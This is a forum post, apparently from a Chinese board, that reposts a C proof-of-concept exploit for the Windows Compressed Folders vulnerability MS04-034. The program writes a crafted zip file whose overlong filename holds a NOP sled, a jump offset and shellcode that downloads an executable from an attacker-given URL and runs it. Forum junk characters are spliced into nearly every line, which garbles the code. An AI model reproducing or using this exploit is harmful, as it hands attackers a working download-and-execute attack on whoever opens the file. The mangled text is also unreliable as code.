- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
 |
|
/* Microsoft Windows Vulnerability in Compressed (zipped) Folders (MS04-034)6 t- \# ?* }5 E9 Z, T: h
*
9 N3 b9 W4 W/ u* Tested under Windows XP SP0 Spanish/English
4 X G7 l% t6 |4 l*' O8 T6 D Z" V3 i) j6 T) e. @
* Original Advisory: http://www.eeye.com/html/research/advisories/AD20041012A.html
! Q7 Y1 {( `9 r0 r! \% Z* Exploit Date: 21/10/20040 U3 D% i5 T+ f% _0 b; ~, j
*
, B2 `( e' U0 F! B8 R4 U* Tarako - Haxorcitos.com 20044 I u: h i6 i) }6 \+ Q" |" _
*$ m/ H2 j! g! G6 \5 W& u- O- K a4 q
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"; c, y: H4 Q3 Z1 L
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
5 K+ B$ [3 n; U/ q9 k& v; q* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.+ d& I: K; @1 E! n
*: w+ ?! b6 r b7 e, Q7 G2 e
* Greetings t #haxorcitos, #dsr and #localhost @efnet u- s5 l1 h. o0 w* X
*! T* i5 ~$ P# ~8 q$ y8 q
*4 _- r1 A* d ]& w4 j. o f
* How to get new offsets:2 s" ~: k; ] N2 c, ^0 k
* 1) attach debugger (i.e ollydbg) to explorer.exe7 W- m1 M* X6 [7 Q
* 2) open the zip file as a folder and add or move some files to it
' @; c/ `4 c$ K" y0 N* 3) search in the explorer.exe memory the shellcode and get the addresses7 @/ ^/ o& Y, e; @* J
*, O1 V+ t) v7 w5 U
*/
% z/ `0 F4 W% i, g( `+ P. \3 k- `( B. W( u: ?, a1 H( D! {+ f
#include <stdio.h>. T" o2 R; O- ^, w' g
#include <windows.h>$ r V8 t# K. Z7 O: D. G
& {% i" G+ u' m2 F8 ]1 X; j3 B Z#pragma pack(1)% X; M9 ]3 w1 b' @: @3 }+ ^8 a
4 d# h/ [, V4 C2 i
#define DATOS "Tarako-Haxorcitos.com"
' v2 \2 E; R1 }7 k) ?
! D3 i, T# E; \, ]typedef struct {
+ m9 F# U; U0 v; j4 g- d5 pDWORD Signature; // PK.. 4 bytes (0x04034B50)" ~- E& `3 Q: J W9 C% |/ h+ C
WORD VersionNeeded;- k- l8 `( n" @) o0 R* A: K- J
WORD GeneralPurposeFlag; // para el data descriptor y demas! t2 L7 O- [. M
WORD CompressionMethod;
, P t9 X* U( e- m6 [WORD ModFileTime;3 Z2 m2 K5 C$ m
WORD ModFileDate;
1 a; T6 k: ~* S% h$ ?: s0 e% o5 ?DWORD Crc32;
, O! x7 Q' a4 @; ?5 I, S2 x. P% p7 IDWORD CompressedSize;
- b( n2 A7 D0 F5 S) j3 P UDWORD UncompressedSize;" h% L8 M5 r% z1 u
WORD FilenameLength;
9 d+ O4 E2 X. G: F" xWORD ExtraFieldLength;% P% @) Q! D' ]
// filename (variable size)
, ?4 x& _* u- z$ v// extra field (variable size)/ ^! S9 R$ J8 A+ N
}TOPHEADER;
' x( l% a: B1 A3 [
! z$ s; t: s: Q# Q* J9 w' Q( Z
4 E9 g! R) ?1 |/ d/ otypedef struct { 4 T7 a. B) V" g$ B- [
DWORD Signature; // PK.. 4 bytes (0x02014B50)
% F4 A% p' y7 w; T0 A* GWORD MadeVersion;5 o0 ^/ e5 _9 S* \; {8 E8 d d
WORD VersionNeeded;
& \! E. | h3 Q8 VWORD GeneralPurposeFlag; // para el data descriptor y demas$ r. \" n, K" D& m1 M! o
WORD CompressionMethod;
- Q3 p4 S: l/ Y7 ~' A l5 q( zWORD ModFileTime;
- _+ Q. A0 Z7 sWORD ModFileDate;# l& c, r& m* U4 z; }8 V* e0 T+ c
DWORD Crc32;
8 o- C! M$ G' {9 c5 qDWORD CompressedSize;1 Z& N* }* Z k7 ^) H$ j
DWORD UncompressedSize;
. v( P% w* e1 B6 Z- ~" o6 mWORD FilenameLength;/ }$ Y7 n5 w4 ^0 p" G7 d
WORD ExtraFieldLength;
! Q# _6 K' r# u4 [7 W/ \2 T6 T$ NWORD FileCommentLength;
4 P$ d2 r' ]5 lWORD DiskNumberStart; G$ v5 P9 j2 Z: m
WORD InternalFileAttributes;) C; Z7 w; E) f. X/ b
DWORD ExternalFileAttributes;
. H" v( m# j4 e& j* j6 XDWORD RelativeOffsetOfLocalHeader;; S$ n* r: J! R7 i& K
// filename (variable size) c( G4 _2 {' E) v
// extra field (variable size)7 L4 L0 F% g r4 h f
// file comment (variable size)
( S, m( l4 m' Y- M9 D3 a}MIDDLEHEADER;0 n4 O. O1 f5 Z" d& D' h* F+ |
5 |4 X1 E" B+ L+ g; k$ i
typedef struct {
4 Y* N6 k4 Z; A! RDWORD Signature; // PK.. 4 bytes (0x06054B50)$ ^" e- t4 E* k& s
WORD NumOfThisDisk;
; b6 ] ?; b# \5 b3 m& P; sWORD NumDisckStartCentralDirectory;; Z' Y# r' m. Q9 D. B1 d8 d
WORD NumEntriesCentralDirOnThisDisk;
% b) j: I$ r9 c4 u/ \; q" s# s2 s @WORD TotalNumEntriesCentralDir;
: ^& Q3 \2 {, c$ r. K6 F% x4 ~DWORD SizeCentralDirectory;
8 M5 J9 B9 W( l3 l8 lDWORD OffsetCentraDirRespectStartDiskNum;
1 o: p' ^) h+ _3 G* W6 ]# pWORD ZipCommentLength;
$ A9 l* A! x. p; n: y1 ?7 v// zipfile comment (variable size)
/ u+ A+ b& o" r- w V; g; l; Y Z}BOTTOMHEADER;2 }2 X! Q& e: K$ j$ `1 O$ T1 L f
% x+ Q9 ]8 w; Q' N( x. B/*
- r5 ~* D0 `- `6 Q* download shellcode - RaiSe - raise@netsearch-ezine.com8 y. |2 V0 }- D
*/
* z9 }5 ]' U* d& F* i: jchar shellcode1[] =
/ S: K# O% s$ D* f4 m6 O7 y( m"\xEB\x5D\x5F\x8B\xF7\x80\x3F"7 M* [- A% ~% |2 \8 |& E% U- p; ^3 y
"\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x33\xC9\xB5\x05\x8B\xFE\x2B\xF9"
: X+ @' O) \: W% I! z7 @" E"\x8B\xEF\xB5\x03\x2B\xF9\x8B\xD7\xB2\x7C\x8B\xE2\x89\x75\xFC\xB5\x40\xC1\xE1\x08") Y( r7 i8 y0 `. z
"\x89\x4D\xF8\x8D\x49\x3C\x8B\x09\x03\x4D\xF8\x8D\x49\x7F\x41\x8B\x09\x03\x4D\xF8"
' J, U0 a% \- Q9 F"\x8B\xD9\x8B\x49\x0C\x03\x4D\xF8\x81\x39\x4B\x45\x52\x4E\x74\x07\x8D\x5B\x14\x8B"9 `0 H* ?& v8 e
"\xCB\xEB\xEB\x33\xC0\x53\xEB\x02\xEB\x7C\x8B\x33\x03\x75\xF8\x80\x7E\x03\x80\x74"$ D( b2 Q1 z- d0 k9 C" T+ V
"\x14\x8B\x3E\x03\x7D\xF8\x47\x47\x56\x8B\x75\xFC\x33\xC9\xB1\x0D\xF3\xA6\x5E\x74"8 Z+ C# e4 l" x; ]
"\x06\x40\x8D\x76\x04\xEB\xE0\x5B\x8B\x5B\x10\x03\x5D\xF8\xC1\xE0\x02\x03\xD8\x8B", ^4 F- ?' I: a. P: R/ [
"\x03\x89\x45\xF4\x8B\x5D\xFC\x8D\x5B\x0D\x53\xFF\xD0\x89\x45\xF0\x8D\x5B\x09\x53"/ G; G- y' P/ U3 f9 h6 i
"\x8B\x45\xF4\xFF\xD0\x89\x45\xEC\x8B\x45\xF0\x8B\x40\x3C\x03\x45\xF0\x8B\x40\x78"
0 Y, v7 a* e; R5 `"\x03\x45\xF0\x89\x45\xE8\x8B\x40\x20\x03\x45\xF0\x8D\x7B\x08\x33\xD2\x57\x8B\x30"1 z- W4 C1 g& F! u9 R0 n
"\x03\x75\xF0\x33\xC9\xB1\x0F\xF3\xA6\x74\x0B\x5F\xEB\x02\xEB\x7A\x42\x8D\x40\x04"' T/ J; a0 m, z ?+ V4 d) C0 `
"\xEB\xE7\x8B\x5D\xE8\x33\xC9\x53\x5F\x8B\x7F\x24\x03\x7D\xF0\xD1\xE2\x03\xFA\x66"7 V: F7 n9 e! p% [3 [ v6 r* _
"\x8B\x0F\x8B\x5B\x1C\x03\x5D\xF0\xC1\xE1\x02\x03\xD9\x8B\x1B\x03\x5D\xF0\x89\x5D"
# {( @" `5 Z! x8 W8 |+ A"\xE4\x8B\x55\xFC\x8D\x52\x2D\x8D\x7D\xE0\x33\xC9\xB1\x06\x51\x52\x52\x8B\x75\xF0"
! i4 h0 i1 F+ ~$ _& C2 q( r"\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB\xF9\x42\xE2\xE8\xB1\x04"$ _- f5 c p' E( ^
"\x51\x52\x52\x8B\x75\xEC\x56\xFC\xFF\xD3\xFD\xAB\x5A\x59\x38\x2A\x74\x03\x42\xEB"1 Y* b1 y! J9 Y7 Q1 e9 @
"\xF9\x42\xE2\xE8\xFC\x52\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\xEB\x02\xEB\x7C"* A. N$ L8 d7 ?1 i" Z: h w/ g) x
"\x52\x8B\x45\xD8\xFF\xD0\x5B\x89\x45\xB8\x33\xD2\x52\x52\x52\x52\x53\x8B\x45\xC8"6 C3 @) D2 h0 h. ~) U2 W$ y9 Q
"\xFF\xD0\x89\x45\xB4\x8D\x7B\x08\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52"
$ ^* g$ p8 n2 k; q H3 N- g"\x52\x57\x50\x8B\x45\xC4\xFF\xD0\x89\x45\xB0\x8D\x55\xAC\x52\x33\xD2\xB6\x1F\xC1"5 u0 Z3 ]# N# {4 h" l3 T. ` D
"\xE2\x08\x52\x8B\x4D\xB8\x51\x50\x8B\x45\xC0\xFF\xD0\x8B\x4D\xB0\x51\x8B\x45\xBC"* J# C% C9 H- t" N
"\xFF\xD0\x8B\x4D\xB4\x51\x8B\x45\xBC\xFF\xD0\x33\xD2\x52\x43\x43\x53\x8B\x45\xE0"" C0 P/ _) J& W( K' a) J* o: p
"\xFF\xD0\x89\x45\xA8\x8B\x7D\xAC\x57\x8B\x55\xB8\x52\x50\x8B\x45\xDC\xFF\xD0\x8B"' ^3 q9 H/ L5 |' D) R
"\x55\xA8\xEB\x02\xEB\x17\x52\x8B\x45\xD4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xD0\xFF"
3 L. j+ t( P/ R+ I& W"\xD0\x33\xD2\x52\x8B\x45\xCC\xFF\xD0\xE8\x0D\xFE\xFF\xFF\x4C\x6F\x61\x64\x4C\x69"
6 @ ]+ Z# x- m* D1 G"\x62\x72\x61\x72\x79\x41\x08\x4B\x45\x52\x4E\x45\x4C\x33\x32\x08\x57\x49\x4E\x49"9 S3 V# h' L" d1 J. M; J# _; E& q
"\x4E\x45\x54\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x5F"% u1 }* r% f5 m$ O8 Z
"\x6C\x63\x72\x65\x61\x74\x08\x5F\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61"8 x0 E$ J+ h* A' J4 S
"\x6C\x41\x6C\x6C\x6F\x63\x08\x5F\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78"
( Y0 A; F3 c! n2 z, \) w5 ~) i"\x65\x63\x08\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x08\x49\x6E\x74\x65\x72"$ u; M% q5 S1 G" u% i
"\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65"
( {6 W0 l {' P+ G! c+ X" R"\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65\x61\x64\x46\x69"* V, [+ R& G4 F- g; S$ e
"\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65\x48\x61\x6E\x64"" i0 M) H: L3 i# R' r. c
"\x6C\x65\x08\x72\x08\x78\x2E\x65\x78\x65\x08";
& }0 z3 E) Y, J; N, j3 u schar shellcode2[] ="\x08\x01";5 e3 z0 o3 H) e$ ~4 D; F4 I0 q
: f4 h2 r: D5 j9 m, G1 W" uchar offset[]="\x41\x41\x41\x41";1 @4 j' _8 D6 Y& y8 J: \
char jmpbelow[]= "\xeb\x06\x90\x90";7 Y; d7 C5 a7 a6 y0 @+ b
/ Y8 l/ d5 b' G2 z2 I
int main(int argc,char *argv[]) {
7 I* C! \3 z, G0 I' _' i0 J9 G; Q$ }. W# _$ Q
FILE *ZipFile;8 h4 Z/ {6 v \# P! ]) i
TOPHEADER *Cabecera1;+ }3 w, X' r" R5 Q% w# c
MIDDLEHEADER *Cabecera2;
6 A/ N* C. U# r2 M$ ]) i7 T1 J* |4 QBOTTOMHEADER *Cabecera3;% @* H8 p" u: |7 h8 l6 ~# {# Q
$ e3 R& Z; ^; a8 G9 ?( V( I: Y3 f
DWORD c;
9 Z6 I$ u# m( n6 V# NUINT i;
( I! y$ W: `0 s. o. zchar *filename;
7 p# o0 _% ]$ Ochar *url;
3 i! M( d2 q0 S! c6 S c" w! I* X" _( d/ H# ~; F
printf("\n MS04-034 - Vulnerability in Compressed (zipped) Folders POC");7 |# u% ]; k8 z7 q7 Z
printf("\n Tarako - Tarako[AT]Haxorcitos.com\n");, @9 ^: N! h+ _( {% R$ o
1 z: G& u) {2 W. P' L, U* A! v
if (argc!=2) {
8 m D6 [2 J. x D4 _' _' O7 _printf("\n\n Usage: %s <URL> \n",argv[0]);# U' L. ?1 A. a M) }
exit(1);
9 B, p" A: A* J& q: \ i}: E9 }' y1 v8 @
6 Q" O( H# U; x& Q$ @
url=argv[1];5 p3 s* J% T+ o. R1 K* |) j
printf("\n * URL: %s",url);8 H( {3 P$ Y9 F( F/ d- f0 _3 U! f
% Y; K1 n! t+ Q
; H/ P: M8 v' x i- ~if (!(ZipFile=fopen("prueba.zip","w+b"))) {
8 a7 |; @8 }7 p3 C$ o" uprintf("\n [E] fopen()");: l; Z2 _* D$ j: C4 V
exit(1);& u* F3 n( f5 `: N) a- S# `3 k/ p
}; |+ I1 y! h4 a8 U
$ c5 P' f. y7 nc=0x8000; // filename length
/ i4 p- `8 Y% yfilename=(char*)malloc(sizeof(char)*c);
2 o6 E/ m: n. C$ r4 F; Lmemset(filename,0,sizeof(filename));
. r7 B7 g1 {9 q: q7 m X& s+ \& w# x+ a; ~+ v' `, V
for( i=0x0;i<c;i++) filename=(BYTE)0x90;
5 M: z- t( E& G3 ?& w9 {5 A; P" y- L( a
memcpy(filename+0x1814,jmpbelow,strlen(jmpbelow));
5 _' ^. c0 W4 A/ r* \memcpy(filename+0x1818,offset,strlen(offset));2 J5 Z: m7 \0 S$ s
2 j W+ B k+ g$ i) v- X d
memcpy(filename+0x7000,shellcode1,sizeof(shellcode1)-1);
% x+ m& {- k0 y% ~# dmemcpy(filename+0x7000+sizeof(shellcode1)-1,url,strlen(url));' i0 Q' ^; ?7 f0 o- X
memcpy(filename+0x7000+sizeof(shellcode1)+strlen(url)-1,shellcode2,sizeof(shellcode2)-1);: r" R; v7 u9 ^
+ {. q3 V/ Z' ~8 n: O0 Ymemcpy(filename+(c-4),".txt",4);
0 l6 u3 M. @; r) H7 G; `. W+ e6 W7 l3 w
Cabecera1=(TOPHEADER*)malloc(sizeof(TOPHEADER));
( v. ^0 A; w0 P: g- Y3 f9 @ rCabecera2=(MIDDLEHEADER*)malloc(sizeof(MIDDLEHEADER));# ]5 p# B7 F$ G/ r" A8 \1 `( V
Cabecera3=(BOTTOMHEADER*)malloc(sizeof(BOTTOMHEADER));0 ]6 f- \3 c- {$ L X
memset(Cabecera1,0,sizeof(TOPHEADER));8 ?6 F. a4 f7 M6 P, u1 {/ k
memset(Cabecera2,0,sizeof(MIDDLEHEADER));; y. Q9 z- {7 q
memset(Cabecera3,0,sizeof(BOTTOMHEADER));
x7 d: f, p O7 T' A$ q# _6 o
9 }$ O( w/ z! l; t5 J///////////////////////////////////////////////////////////////////
& _$ N A4 o( P1 b4 O// TOPHEADER
* i/ h% ]3 \: k, m3 \///////////////////////////////////////////////////////////////////
* s8 [' N2 }) t1 B. b3 U9 t/ `/ eCabecera1->Signature=0x04034B50; // DWORD* i6 Z8 t4 E- j% H# h& J3 `
Cabecera1->VersionNeeded=0x000A; // WORD0 A- c3 ^8 O* p; u2 o
Cabecera1->GeneralPurposeFlag=0x0002; // WORD para el data descriptor y demas
( e+ ]. \% { z7 `& c) dCabecera1->CompressionMethod=0x0000; // WORD6 ?+ v. |: a# w- ~
Cabecera1->ModFileTime=0x1362; // WORD
. I4 Y' y/ v [: Y- @+ J1 z0 _Cabecera1->ModFileDate=0x3154; // WORD
* i* P9 F% E- g0 y" `# R* JCabecera1->Crc32=0x85B36639; // DWORD+ G' P, F1 Z1 P
Cabecera1->CompressedSize=0x00000015; // DWORD- i7 _/ f4 W# C
Cabecera1->UncompressedSize=0x00000015; // DWORD
3 b' P, f1 Q( [0 H* s* B6 `& mCabecera1->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);
! d5 o7 C8 }& K1 uCabecera1->ExtraFieldLength=0x0000; // WORD
" s7 t% K* l3 X& G" C///////////////////////////////////////////////////////////////////
, E! T; j% a4 Y6 F3 a/ ] L
, t* \) f& b6 S/ U$ R+ v& N! |8 P///////////////////////////////////////////////////////////////////7 e9 D1 w# k6 [" h" K& \
// MIDDLEHEADER
! Z! E8 D4 Z, Q0 @' f, g4 {# q///////////////////////////////////////////////////////////////////) v8 r5 u. A8 c1 F
Cabecera2->Signature=0x02014B50; // DWORD
& n; K3 m& _' L3 s. w2 vCabecera2->MadeVersion=0x0014; // WORD' y- z% a, v B3 z8 ?+ ^
Cabecera2->VersionNeeded=0x000A; // WORD
2 e- G( V$ C" ~" X1 B4 @ rCabecera2->GeneralPurposeFlag=0x0002; // WORD
; |& e: I- [5 eCabecera2->CompressionMethod=0x0000; // WORD
, A4 u4 R2 s/ F4 b4 }7 gCabecera2->ModFileTime=0x1362; // WORD+ z4 y6 A( k2 e' S" [ a k
Cabecera2->ModFileDate=0x3154; // WORD! r1 k0 f( y# M O3 p4 z
Cabecera2->Crc32=0x85B36639; // DWORD
% }1 R! u+ N! b1 y5 S% qCabecera2->CompressedSize=0x00000015; // DWORD
8 h& v2 d; Z/ U" J$ l% J" y; mCabecera2->UncompressedSize=0x00000015; // DWORD" D2 E( y0 g4 Y [, U6 l. _) x
Cabecera2->FilenameLength=(WORD)c; // WORD 0x0400;//strlen(filename);
/ h1 w5 I9 e8 m4 x/ L$ VCabecera2->ExtraFieldLength=0x0000; // WORD
, F* f6 V8 X6 c6 ^+ U& j3 vCabecera2->FileCommentLength=0x0000; // WORD
' b1 k! h9 k- `8 o8 y- UCabecera2->DiskNumberStart=0x0000; // WORD/ \: M) r! `& x* E* e g L
Cabecera2->InternalFileAttributes=0x0001; // WORD2 ?4 i- G3 j, A6 A. u( J; d5 A8 t
Cabecera2->ExternalFileAttributes=0x00000020; // DWORD
, j" _ Q1 i b6 h' l6 {0 |6 LCabecera2->RelativeOffsetOfLocalHeader=0x00000000; // DWORD
! f9 O6 M# d# h* X( q$ I///////////////////////////////////////////////////////////////////4 N) B% A+ f3 I( h: O5 S: q0 T
" a B( w. P7 R: ?" |9 Y
///////////////////////////////////////////////////////////////////
! ^8 j0 M! G6 t// BOTTOMHEADER2 t) y4 }) }1 n. b
///////////////////////////////////////////////////////////////////
; I. l* o$ d2 u2 i0 kCabecera3->Signature=0x06054B50; // DWORD$ V7 Z/ D* I6 C7 K+ d
Cabecera3->NumOfThisDisk=0x0000; // WORD
* g4 U7 C6 _8 d3 Z' iCabecera3->NumDisckStartCentralDirectory=0x0000; // WORD
8 U# L1 [1 w( x5 T# v+ BCabecera3->NumEntriesCentralDirOnThisDisk=0x0001; // WORD0 e& D @3 o& N
Cabecera3->TotalNumEntriesCentralDir=0x0001; // WORD
0 T9 I' C9 ?" P2 [2 gCabecera3->SizeCentralDirectory=sizeof(MIDDLEHEADER)+c; // DWORD
( X: T+ |6 c) @Cabecera3->OffsetCentraDirRespectStartDiskNum=sizeof(TOPHEADER)+strlen(DATOS)+c; // DWORD
) n3 h u% E q' d7 fCabecera3->ZipCommentLength=0x0000; // WORD2 d: t- ^9 ^2 Z, ^; c5 d) x1 D8 T
///////////////////////////////////////////////////////////////////
1 l+ U0 R/ L2 M
1 Z& @( O2 E/ efwrite(Cabecera1, sizeof(TOPHEADER), 1,ZipFile);
$ m5 e& T$ {* h( T$ F- L' H8 a, K" d, K
fwrite(filename, c, 1,ZipFile);
; G2 W& i M! h( h2 o/ o: X4 J4 nfwrite(DATOS,strlen(DATOS),1,ZipFile);+ k8 h- d& B7 y( b3 C; Y6 r/ s) Q
i$ D# ?8 g- I W
fwrite(Cabecera2, sizeof(MIDDLEHEADER), 1,ZipFile);9 _, \& k) d4 ^7 v4 P u% Z/ m
fwrite(filename, c, 1,ZipFile); 7 B5 W x& I: L
fwrite(Cabecera3, sizeof(BOTTOMHEADER), 1,ZipFile);
% `/ @% h. @; p* Q( x
# K" m# m4 Z/ Sfclose(ZipFile);" i' P* A& j" y) _- J; x( w* E7 I3 a/ q) t! P
printf("\n * prueba.zip created\n");
0 P$ N- X- _: g& `5 t* nreturn 1;( c5 D, v2 ^, h2 q8 e$ K- k
}//downloaded from milw0rm.com
) C1 R; c2 C. V9 w |
zan
|